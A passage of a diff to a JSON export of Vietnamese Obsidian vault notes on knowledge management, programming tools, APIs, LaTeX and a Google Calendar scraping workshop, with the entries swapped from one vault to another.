nccn[Nhu cầu công nghệ] --> lv[Lĩnh vực] \nnccv --> lv --> gpkt[Giải pháp kỹ thuật] \nnccn --> gpkt --> gpkt\n```\n\nXét ghi chú [[Sắp chữ, thiết kế, xuất bản]]. Nó là một lĩnh vực. Theo sơ đồ trên, thì trong ghi chú này không nên tạo liên kết đến ghi chú về nhu cầu công nghệ. Nhưng trong lúc viết thì cảm giác rất muốn để nhu cầu công nghệ là [[WYSIWYM]], và nhu cầu công việc là [[Chèn ảnh, bảng, sơ đồ, mục lục, ghi chú, song ngữ, trích dẫn theo đúng ý]], vì chỉ thấy việc sắp chữ chỉ có cái này.\n\nTuy nhiên, ở một lĩnh vực khác là [[Nhân văn số|nhân văn số]], để ý là khi nghĩ về nó ta không thấy cần để nhu cầu công nghệ là [[Xác định các chủ đề có trong ngữ liệu]], và nhu cầu công việc là [[Nắm bắt xu hướng mạng]] hay [[Nghiên cứu cộng đồng mạng]], vì tự thấy rằng nhân văn số còn nhiều thứ hơn cái này.\n\nTrong [[Giải pháp kỹ thuật]] thì có thể chia lại thư mục theo nhu cầu công việc, công nghệ hoặc lĩnh vực, vì lúc đó các ghi chú thường là rời rạc", + "Toàn bộ nội dung": "Giải pháp kỹ thuật:: [[SQL]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-01T10:04:00.000Z", - "id": "Tn" + "Ngày cập nhật": "2024-09-01T09:57:00.000Z", + "id": "T_" }, { - "Tiêu đề": "Nơi này là nơi nào", - "URL": "https://lậptrình.quảcầu.cc/Nơi này là nơi nào", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Tạo web", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Hệ thống thông tin/Tạo web", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Tiếp thị số, xử lý dữ liệu và lập trình\nĐây là kho thông tin bổ sung cho kho [Obsidian, quản lý dự án và công cụ nghĩ](https://obsidian.quảcầu.cc/?utm_source=Vault+C+Tiếp+thị+số%2C+xử+lý+dữ+liệu+và+lập+trình+(Trang+chủ)&utm_medium=Vault&utm_campaign=&utm_content=&utm_term=), tập trung vào việc xử lý dữ liệu và lập trình. Nó được sinh ra trong quá trình bọn mình viết [Trấn Kỳ](https://tranky.deno.dev/?utm_source=Vault+C+Tiếp+thị+số%2C+xử+lý+dữ+liệu+và+lập+trình+(Trang+chủ)&utm_medium=Vault&utm_campaign=&utm_content=&utm_term=), và cũng được sử dụng như tài liệu hướng dẫn cho nó. Nếu bạn muốn tìm một nguồn tài liệu để học một cách bài bản thì không nên vào đây. Nhưng nếu mục tiêu của bạn là làm xong những công việc khác, mà để làm được chúng trôi chảy bạn phải học lập trình, và bạn muốn tìm những bài viết thật ngắn nhưng đủ để hiểu khái niệm để còn làm việc được tiếp (như khi bọn mình cần phải học để còn viết xong Trấn Kỳ), thì có thể một số thứ trong đây sẽ hữu ích cho bạn.\n\n> [!IMPORTANT] Những thứ được ghi lại trong đây\n> - **Những khái niệm thiết yếu trong việc xây dựng mental model, đặc biệt là:**\n> - Những khái niệm cơ bản mà nếu không được giải thích thì không thể tự đoán ra được. Công việc ta cần làm đòi hỏi ta phải làm theo những hướng dẫn mặc định rằng ta đã hiểu được chúng rồi, và không cung cấp thêm lời giải thích hoặc xây dựng đủ bối cảnh để ta có thể đoán ý nghĩa của nó. Thường để hiểu được các khái niệm cơ bản này ta sẽ phải quay lại học bài bản, nhưng lúc đó việc học bài bản lại phân tán sự tập trung của ta khỏi công việc cần làm\n> - Các so sánh, ẩn dụ tới một cái gì đó dễ hiểu, dễ liên tưởng hơn\n> - Sự khác biệt, tương phản hoặc tăng tiến về cường độ của những thứ có vẻ na ná nhau hoặc mâu thuẫn nhau. Phân biệt những cái tên khác nhau cho cùng một thứ, và những thứ khác nhau có cùng một cái tên\n> - Những thuật ngữ dùng không được chuẩn xác. Có những cách dùng từ mà với người đã hiểu rồi thì sự thiếu chính xác cũng không thành vấn đề, thậm chí còn tiện lợi, nhưng người mới học thì thấy loạn (các [misnomer](https://en.wikipedia.org/wiki/Misnomer))\n> - Ý đồ thiết kế ([design rationale](https://en.wikipedia.org/wiki/Design_rationale \"Design rationale - Wikipedia\")) để hiểu được điểm mạnh, điểm yếu của các giải pháp khác nhau cho cùng một vấn đề, và vì sao các tác giả của chúng chấp nhận những đánh đổi đó\n> - **Các lỗi thường gặp mà việc tìm hiểu đòi hỏi phải có hiểu biết sâu về vấn đề (pitfall)**\n> - **Những nguồn tốt dể học một cách bài bản**\n> - **Những lĩnh vực, hướng tư duy ít được để ý**\n> \n> Chúng là những thứ mà bạn ước rằng ngày xưa có ai nói với mình như vậy để mình hiểu ra nhanh. Chúng thể hiện được sự vận động, chuyển động của khái niệm.\n\nNhững thứ không được ghi lại:\n- Các giới thiệu chi tiết (về công cụ, ngôn ngữ, khái niệm, v.v.) đặc biệt là nếu có nguồn tốt hơn\n- Những thứ bạn có thể khám phá ra về sau, mà sự khám phá đó không làm bạn nhức đầu\n- Các khái niệm mà chỉ cần nhìn mặt chữ cũng có thể đoán ra được mà không cần tra cứu\n\nNhững mẹo vặt tiện lợi thì có lẽ có cái sẽ được ghi lại, có cái không.\n\nCách sắp xếp thư mục tuỳ vào việc lúc đó não bạn cần gì nhất. Cấu trúc cây thư mục có thể là:\n- Những thứ cùng chủ đề, hoặc nếu khác chủ đề thì cũng hay liên hệ với nhau\n- Những thứ người mới học hay gặp nó\n- Cấu trúc phân loại học thuật \n\nBài chi tiết: [Hướng dẫn đọc code cho người thấy việc biết lập trình là quan trọng nhưng không thể biến nó trở thành ưu tiên cao nhất - Obsidian, quản lý dự án và công cụ nghĩ](https://obsidian.quảcầu.cc/📐%20Dự%20án/Các%20buổi%20đáp%20ứng%20nhu%20cầu%20học%20cách%20sử%20dụng%20công%20cụ%20và%20tư%20duy%20lập%20trình%20cho%20nhu%20cầu%20công%20việc/9%20Blog/Theo%20kỹ%20thuật/Hướng%20dẫn%20đọc%20code%20cho%20người%20thấy%20việc%20biết%20lập%20trình%20là%20quan%20trọng%20nhưng%20không%20thể%20biến%20nó%20trở%20thành%20ưu%20tiên%20cao%20nhất?utm_source=Vault+C+Tiếp+thị+số%2C+xử+lý+dữ+liệu+và+lập+trình+(Trang+chủ)&utm_medium=Vault&utm_campaign=C1+Các+buổi+đáp+ứng+nhu+cầu+học+cách+sử+dụng+công+cụ+và+tư+duy+lập+trình+cho+nhu+cầu+công+việc&utm_content=&utm_term=)\n", + "Toàn bộ nội dung": "Lĩnh vực:: [[Lập trình web]]\nGiải pháp kỹ thuật:: [[Mkdocs]], [[Netlify]], [[Git, GitHub, GitKraken]]\n\nCMS:\n- [Intuitive Static CMS for Fast, Secure, GDPR-Compliant Websites. It's free!](https://getpublii.com/)\n- [Ghost: The best open source blog & newsletter platform](https://ghost.org/)\n- [Primo](https://primo.so/)\n[FAQ](https://getpublii.com/faq/)\n\nXem thêm:: [[Tạo website]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T08:39:00.000Z", - "Ngày cập nhật": "2024-08-26T08:36:00.000Z", - "id": "To" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T09:59:00.000Z", + "id": "U0" }, { - "Tiêu đề": "Các API thường dùng cho PHP", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/API của từng dịch vụ/Facebook/Các API thường dùng cho PHP", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Viết plugin", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Hệ thống thông tin/Viết plugin", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n[Danh sách 18 API của Facebook dân lập trình phải biết](https://bizflycloud.vn/tin-tuc/18-danh-sach-api-cua-facebook-dan-lap-trinh-phai-biet-20180424092513969.htm)", + "Toàn bộ nội dung": "Đáp ứng cho nhu cầu công việc: `=filter(this.file.inlinks, (i) => contains(i.nhu-cầu-công-nghệ, [[]]))`\n\nLĩnh vực:: [[Lập trình hướng vật thể]]\nGiải pháp kỹ thuật:: [[API]], [[JavaScript]], [[Python]], [[VS Code]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Tp" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-01T09:57:00.000Z", + "id": "U1" }, { - "Tiêu đề": "Facebook API", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/API của từng dịch vụ/Facebook/Facebook API", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Xây dựng hệ thống quản lý, báo cáo nhu cầu các bên", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Hệ thống thông tin/Xây dựng hệ thống quản lý, báo cáo nhu cầu các bên", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\r\nLIST \r\nFROM \"✍️Lập trình/Cloud, webhook, API/Facebook API\" \r\nWHERE file.name!=this.file.name\r\n```", + "Toàn bộ nội dung": "Lĩnh vực:: [[Hệ thống thông tin]], [[Phát triển cộng đồng]]\nGiải pháp kỹ thuật:: [[Obsidian]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-30T15:50:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Tq" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T10:10:00.000Z", + "id": "U2" }, { - "Tiêu đề": "Fb hạn chế rất nhiều API để tránh việc làm nhái page", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/API của từng dịch vụ/Facebook/Fb hạn chế rất nhiều API để tránh việc làm nhái page", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Nhu cầu công nghệ", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "App chỉ đọc đc những event của page (mà app đó quản lý hoặc có quyền quản lý) th.\r\nVd nếu đc phép như v, nghĩa là fb đag cc cho mình api để làm page nhái, chỉ việc nhập id của page khác vô app, xong tự load events, posts của page đó vô page mình. :grrrDerp:", + "Toàn bộ nội dung": "```dataview\nLIST giải-pháp-kỹ-thuật\nFROM \"📜Tài nguyên/Nhu cầu công nghệ\" \nWHERE file.name!=this.file.name\n```\nLĩnh vực:: [[Lĩnh vực]]\nGiải pháp kỹ thuật:: [[Giải pháp kỹ thuật]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Tr" + "Ngày tạo": "2024-02-29T16:53:00.000Z", + "Ngày cập nhật": "2024-07-27T15:06:00.000Z", + "id": "U3" }, { - "Tiêu đề": "me/accounts liệt kê tất cả các page mình quản lý", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/API của từng dịch vụ/Facebook/me-accounts liệt kê tất cả các page mình quản lý", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Chèn ảnh, bảng, sơ đồ, mục lục, ghi chú, song ngữ, trích dẫn theo đúng ý", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Quản lý kiến thức/Chèn ảnh, bảng, sơ đồ, mục lục, ghi chú, song ngữ, trích dẫn theo đúng ý", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "Lĩnh vực:: [[Sắp chữ, thiết kế, xuất bản]]\nNhu cầu công nghệ:: [[WYSIWYM]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Ts" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T09:58:00.000Z", + "id": "U4" }, { - "Tiêu đề": "Non-ASCII or non-English characters in field or database names will be transliterated to English", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/API của từng dịch vụ/Fibery/Non-ASCII or non-English characters in field or database names will be transliterated to English", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Hệ thống quản lý kiến thức", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Quản lý kiến thức/Hệ thống quản lý kiến thức", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [hi | Fibery](https://the.fibery.io/@public/User_Guide/Guide/GraphQL-API-254)", + "Toàn bộ nội dung": "Lĩnh vực:: [[Hệ thống thông tin]]\nGiải pháp kỹ thuật:: [[Obsidian]]\n\n[The Academic Knowledge Management (AKM) system that 10x’d my research productivity | Chris Lovejoy](https://www.chrislovejoy.me/akm)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Tt" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T10:10:00.000Z", + "id": "U5" }, { - "Tiêu đề": "Build service object", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/API của từng dịch vụ/Google/Build service object", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Kiểm soát phiên bản (version control)", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Quản lý kiến thức/Kiểm soát phiên bản (version control)", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Whether you are using simple or authorized API access, you use the [build()](http://googleapis.github.io/google-api-python-client/docs/epy/googleapiclient.discovery-module.html#build) function to create a service object. It takes an API name and API version as arguments. You can see the list of all API versions on the [Supported APIs](https://github.com/googleapis/google-api-python-client/blob/main/docs/dyn/index.md) page. When `build()` is called, a service object will attempt to be constructed with methods specific to the given API.\r\nNguồn:: [start.md](https://github.com/googleapis/google-api-python-client/blob/main/docs/start.md#build-the-service-object)", + "Toàn bộ nội dung": "Giải pháp kỹ thuật:: [[Git, GitHub, GitKraken]]\n[Introduction to Version Control](https://geo-python-site.readthedocs.io/en/2022.0/lessons/L2/intro-to-GitHub.html)\n## Familiar?\n\n![xkcd DOCUMENTS comic](https://imgs.xkcd.com/comics/documents.png)\n\nSource: [https://xkcd.com/1459/](https://xkcd.com/1459/)\n\n![Motivation for version control](https://geo-python-site.readthedocs.io/en/2022.0/_images/version_control_motivation_comics.png)\n\nSource: “Piled Higher and Deeper” by Jorge Cham, [http://www.phdcomics.com](http://www.phdcomics.com) ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Tu" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T09:58:00.000Z", + "id": "U6" }, { - "Tiêu đề": "API đưa thông tin là thụ động. Webhook đưa thông tin chủ động", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/API đưa thông tin là thụ động. Webhook đưa thông tin chủ động", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "WYSIWYM", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Quản lý kiến thức/WYSIWYM", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Api là khi mình cần thì mình hỏi nó để nó đưa thông tin. Việc nó đưa thông tin là thụ động, khi nào mình hỏi thì nó mới đưa. Còn webhook là đưa chủ động; nó vừa mới có cái gì mới là đưa luôn cho mình \r\n[The Difference Between APIs and Webhooks Explained By Selling Seasonal Produce on Your Farm – CodeAnalogies Blog](https://blog.codeanalogies.com/2018/03/05/the-difference-between-apis-and-webhooks-explained/)\r\n![[RapidAPI-Comics-eBook.pdf]]", + "Toàn bộ nội dung": "Lĩnh vực:: [[Hệ thống thông tin]], [[Sắp chữ, thiết kế, xuất bản]]\n\n![](https://uploads-ssl.webflow.com/614e03b8b6446368c68222e3/6172eaa3c7df09246db4efa5_latex_effort_complexity.jpg) \n[Social sciences and humanities researchers, what is the final push that you decided to use LaTeX? : r/LaTeX](https://www.reddit.com/r/LaTeX/comments/1b14zgm/social_sciences_and_humanities_researchers_what/)\n[Are there illustrations on the struggle of Word on formatting in comparing with LaTeX? : r/LaTeX](https://www.reddit.com/r/LaTeX/comments/1b2t1sw/are_there_illustrations_on_the_struggle_of_word/?utm_source=embedv2&utm_medium=post_embed&utm_content=post_title&embed_host_url=https://publish.reddit.com/embed \"Are there illustrations on the struggle of Word on formatting in comparing with LaTeX? : r/LaTeX\")\n[[Chèn ảnh, bảng, sơ đồ, mục lục, ghi chú, song ngữ, trích dẫn theo đúng ý]]\nfigures, graphics, index, table of contents, table of abbreviations, footnotes, references, bibliography, etc.\n![](https://i.imgur.com/0ApXpPU.png)\n[20220103\\_Appt\\_Brief.pdf](https://www.dropbox.com/scl/fi/f86hos68v828p020pzswp/20220103_Appt_Brief.pdf?rlkey=pvmu54w64yxsukp54ewd0pftj&e=1&dl=0)\nGeorgia Supreme Court argument, the Presiding Justice commended a TikZ graphic in a brief I wrote in LaTeX. See the 40:05 mark of S22G0019 Hall et al. v. Davis Lawn Care Service, Inc., et al. The video is here: [https://www.gasupreme.us/oral-arguments-april-19-2022/](https://www.gasupreme.us/oral-arguments-april-19-2022/)\n\n\n\nI think the answer is simply that LaTeX has a large network effect, and the benefit of interactiveness and responsiveness is small, making it still the dominant recommendation on writing complicate documents. Only when the interactiveness or responsiveness of the medium is necessary to convey the message that the authors have to use a non-LaTeX tool.\n\nFood for thoughts:\n\n- [The Network Effects Manual: 16 Different Network Effects (and counting)](https://www.nfx.com/post/network-effects-manual \"The Network Effects Manual: 16 Different Network Effects (and counting)\")\n- [What advantage does *TeX provide over modern tools like HTML+CSS+js?](https://tex.stackexchange.com/q/448032/50146)\n- [Why books donʼt work](https://andymatuschak.org/books/ \"Why books donʼt work | Andy Matuschak\")\n- [How can we develop transformative tools for thought?](https://numinous.productions/ttft/ \"How can we develop transformative tools for thought?\")\n\n[How can I convert my TeX-illiterate coworkers to LaTeX?](https://tex.stackexchange.com/q/102878/50146)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Tv" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-01T10:10:00.000Z", + "id": "U7" }, { - "Tiêu đề": "Cloud bản chất là đi thuê local của người khác", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/Cloud bản chất là đi thuê local của người khác", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Cào web", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Tự động/Cào web", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Lĩnh vực:: [[Lập trình web]]\nGiải pháp kỹ thuật:: [[API]], [[Python]], [[HTML]], [[BeautifulSoup]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T09:58:00.000Z", + "id": "U8" + }, + { + "Tiêu đề": "Nhập sự kiện vào Google Calendar", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Tự động/Nhập sự kiện vào Google Calendar", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Mô tả bài đăng": "Các buổi hướng dẫn cào dữ liệu web vào Google Calendar", + "Toàn bộ nội dung": "Lĩnh vực:: [[Lập trình hướng vật thể]]\nGiải pháp kỹ thuật:: [[Python]], [[API]], [[VS Code]], [[Google Calendar]]\n\n\n![[Bàn làm việc Google Calendar.png]]\nBộ phận HR, marketing hoặc truyền thông nội bộ của công ty bạn muốn cập nhật các sự kiện trong năm để xây dựng nội dung nhưng việc cập nhật thủ công qua từng tháng, từng năm là một công việc mất nhiều thời gian? Việc nắm bắt xu hướng thông qua việc theo dõi các các sự kiện nổi bật trên các mạng xã hội như Facebook hay Tiktok rồi ghi chú thủ công trong Excel không đủ để bạn nhìn được số liệu dễ dàng và xem được sự kiện trong tuần hoặc trong tháng?\n\nQuả Cầu mong muốn tìm gặp và giới thiệu cho bạn hướng khai phá khả năng quản lý thời gian thông qua một công cụ quen thuộc – Google Calendar, đó là là nâng cấp ***“cuốn lịch biểu”*** Google Calendar của bạn trở thành ***“bàn làm việc”*** Google Calendar.\n\n**“Bàn làm việc” Google Calendar** là một bàn làm việc sử dụng Google Calendar như mặt bàn để tổ chức và quản lý thông tin về thời gian biểu ở quy mô lớn hơn. Quy mô này thể hiện qua khả năng kết nối các thông tin về sự kiện hay thời gian ở nhiều nền tảng web khác nhau và mang nó về Google Calendar của bạn. Điều này tạo ra những lợi ích lớn như:\n\n- ***NHANH:*** Tự động hóa việc cập nhật sự kiện nhờ liên kết giữa các nguồn dữ liệu\n- ***GỌN:*** Mở rộng giao diện quen thuộc và quản lý dữ liệu trực quan \n\nVậy, nếu bạn có mong muốn hiện thực hoá điều này, Quả Cầu sẽ cung cấp cho bạn cơ hội để hợp tác thực hiện thông qua việc đăng ký nhu cầu và tự định giá nhu cầu trong phiếu đăng ký dưới đây. \n\nVề vấn đề đăng ký nhu cầu, Quả Cầu khuyến khích bạn nêu rõ lý do bạn muốn tham gia và đồng thời **thiết kế lộ trình làm việc và kết quả đầu ra** phù hợp với nhu cầu phát triển dự án cá nhân của bạn (nếu có) dựa trên gợi ý như sau:\n- Thời gian: 1 buổi (3-4 tiếng online/offline) để bạn cài đặt và hiểu công cụ + 2 tuần sau buổi đào tạo đầu tiên (hỗ trợ qua chat mỗi ngày và 2 buổi gặp mặt online/offline) để Quả Cầu trao đổi, tư vấn với bạn trong việc ứng dụng công cụ cho dự án cá nhân. \n- Nội dung:\n\t- Hiểu về cách các sự kiện được lưu trữ trên website\n\t- Cấu trúc website và ý tưởng của phương pháp lấy nội dung mình cần\n\t- Cài đặt và sử dụng các công cụ lập trình (Python, VS Code) \n\t- Hiểu về vật thể và API. Hiểu điều các công cụ lập trình đang cố gắng nói cho mình\n\t- Truyền dữ liệu lấy từ web vào Google Calendar\n\nKết quả đầu ra ví dụ:\n![[Bàn làm việc Google Calendar demo.png]]\n\nVề vấn đề tự định giá, Quả Cầu cho rằng **bạn nên được quyền quyết định giá trị của buổi hướng dẫn** vì đây là dự án phục vụ nhu cầu và dựa trên thiết kế lộ trình làm việc của bạn. Với nhu cầu và thiết kế đó, Quả Cầu khuyến khích bạn đề xuất giá trị của buổi hướng dẫn này với đa dạng hình thức chi trả/trao đổi nhu cầu (ví dụ: tiền hoặc các tác vụ hỗ trợ Quả Cầu theo thoả thuận).\n\nSau khi xem xét các đăng ký, Quả Cầu sẽ lựa chọn để trao đổi và hợp tác với những nhu cầu phù hợp.\n\nĐọc thêm các bài sau đây để hiểu hơn về ý tưởng này:\n- [[Mô hình kinh doanh của các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình|Khi nào thì chiến lược định giá \"trả tuỳ tâm\" đạt được sự bền vững?]]\n - [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]]\n - [[Lý do viết Trấn Kỳ|Tại sao các phần mềm nocode hay ChatGPT vẫn không đủ để thay thế lập trình trong việc quản trị?]]\n\nThông tin liên hệ:\n\n- **Facebook:** [https://www.facebook.com/qua.cau.the.sphere](https://www.facebook.com/qua.cau.the.sphere)\n- **Email:** quacau.thesphere@gmail.com\n\nRất mong được đồng hành cùng bạn.\n\n[[Giả thiết về tiếp nhận của người đọc bài giới thiệu buổi hướng dẫn cụ thể]]\n\n\nCác sự kiện trên fb event nó ko thuần tuý là 1 events như dạng ticketbox mà nó giống quảng bá hơn\n\nCần ticketbox hơn vì nó là dạng bán vé ở cấp độ chuyên nghiệp hơn, nội dung và giá trị đc chỉnh chu hơn. VD, em ko fai fan hài kịch, nhưng e biết đc có các loại hình hài kịch: standup comedy, hài bài banrm, sân khấu kịch, các vở kịch về các câu chuyện sắp tới, khiến e có thể cân nhắc tham gia để hiểu biết hơn. Hoặc nếu e thấy toàn workshop về bánh và mùa thu → e có thể cân nhắc viết content hay các bài viết về topic này. vậy rộng hơn đây, e thấy có water show: ah e có thể cân nhắc dẫn con em đi xem, hoặc workshop yêu hoà bình, e sẽ xem có gì relevant ko mà lại làm topic này tại thời điểm này, nghĩa là nội title của có thể hint cho em nhiều thứ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-01T09:59:00.000Z", + "id": "U9" + }, + { + "Tiêu đề": "Phân loại dữ liệu tự động", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Tự động/Phân loại dữ liệu tự động", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Lĩnh vực:: [[Xử lý ngôn ngữ tự nhiên (NLP)]]\n\nPhục vụ cho nhu cầu:\n- [Ghi chép chi tiêu](https://kiếmtiền.quảcầu.cc/Tài-nguyên-hỗ-trợ/Quang-cảnh-thị-trường/Chương-trình-quản-lý-tiền/4-Loại-chương-trình/Chương-trình-ghi-chép-thu-chi-cá-nhân?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Tài+nguyên)&utm_medium=Vault&utm_campaign=&utm_content=📜Tài+nguyên%2FNhu+cầu+công+nghệ%2FPhân+loại+dữ+liệu+tự+động.md&utm_term=)\n- Lĩnh vực khác: [Label Organizer](https://www.facebook.com/minh5e/posts/pfbid02E2UEE594eqRJhJPBZrouHvFH5h4KMUb7gh7GTn4oQDBGQYDaqAfvDk1tuDhZCYNpl)\n- [[Tạo danh sách hạch toán hàng loạt vào các phần mềm kế toán]]\n- [Tách địa chỉ](https://tachdiachi.vn/)\n## Nơi thảo luận\n![](https://i.imgur.com/TDK2yri.png)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T09:59:00.000Z", + "id": "UA" + }, + { + "Tiêu đề": "Tạo liên kết UTM rút gọn nhanh chóng", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Tự động/Tạo liên kết UTM rút gọn nhanh chóng", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Lĩnh vực:: [[Tiếp thị số]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-01T09:58:00.000Z", + "id": "UB" + }, + { + "Tiêu đề": "Tự động hoá các công việc lặp đi lặp lại", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Tự động/Tự động hoá các công việc lặp đi lặp lại", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Đáp ứng cho nhu cầu công việc: `=filter(this.file.inlinks, (i) => contains(i.nhu-cầu-công-nghệ, [[]]))`\n\nGiải 